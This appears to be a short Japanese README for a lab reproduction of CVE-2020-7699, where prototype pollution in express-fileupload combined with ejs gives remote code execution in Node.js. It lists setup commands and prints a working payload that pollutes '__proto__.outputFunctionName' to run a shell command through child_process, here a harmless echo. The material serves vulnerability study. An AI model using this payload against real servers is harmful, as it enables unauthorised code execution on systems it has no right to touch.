
Node.js RCE脆弱性(CVE-2020-7699)の再現、私のラボ作業
Node.js バージョン: v14.16.1、Node.js のバージョンが14であることを確認してください(他のバージョンでも動作する可能性はありますが、テストはしていません)。
Python バージョン: 3.9.5、Python は HTTP 攻撃リクエストの送信にのみ使用しており、特定のバージョンは必要ありません。
リポジトリを clone し、npm i で依存関係をインストールするだけです。さらに2つのコマンドを用意しています。
npm run start-server を使用してターゲットサーバー(被害サーバー)を起動npm run launch-attack を使用して攻撃を実行express-fileUpload: 1.1.10未満のバージョンが影響を受けます
脆弱性: express-fileUpload プロトタイプ汚染
使用方法: __proto__.outputFunctionName を汚染して、実行するコマンドを書き込む。例: echo "ATTACK SUCCESSFUL" > attacked.txt
exec_command = "echo \"ATTACK SUCCESSFUL\" > attacked.txt"
{
"__proto__.outputFunctionName": (
None,
f"x;process.mainModule.require('child_process').exec('{exec_command}');x"
)
}
脆弱性: ejs は xxx.outputFunctionName を実行しようとしますが、これは undefined です。しかし、object.outputFunctionName が汚染されている場合、代わりにそれが実行されます。